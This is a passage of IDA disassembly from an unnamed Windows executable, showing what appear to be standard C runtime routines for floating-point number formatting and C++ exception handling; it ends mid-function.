		call	near ptr 2720B21h
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26F069Fh
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------

loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF

loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------

loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883

loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_433E80
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_433E80
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5

loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9

loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916

loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------

loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax

loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax

loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_435FE0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4CDA24, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4CDA20
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------

loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h

loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_433E80
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4CDA24, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h

loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl

loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4CDA24, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_4CDA28
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4CDA20
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------

loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h

loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------

loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax

loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_433E80
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_4CDA24, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------

loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35

loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi

loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h

loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_4CDA20, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4CDA28, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_4CDA20
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4CDA28, ecx
		setl	cl
		mov	byte_4CDA2C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4CDA28, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6

loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al

loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------

loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h

loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_4CDA24, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_4CDA24, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------

loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D

loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi

loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552

loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------

loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------

loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h

loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax

loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A

loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552

loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_4CDA30
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_4CDA34
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552

loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552

loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax

loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E

loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B

loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C

loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------

loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]

loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------

loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx

loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------

loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4CDA38, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90

loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax

loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88

loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------

loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7

loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7

loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7

loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB

loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------

loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax

loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037

loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552

loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0

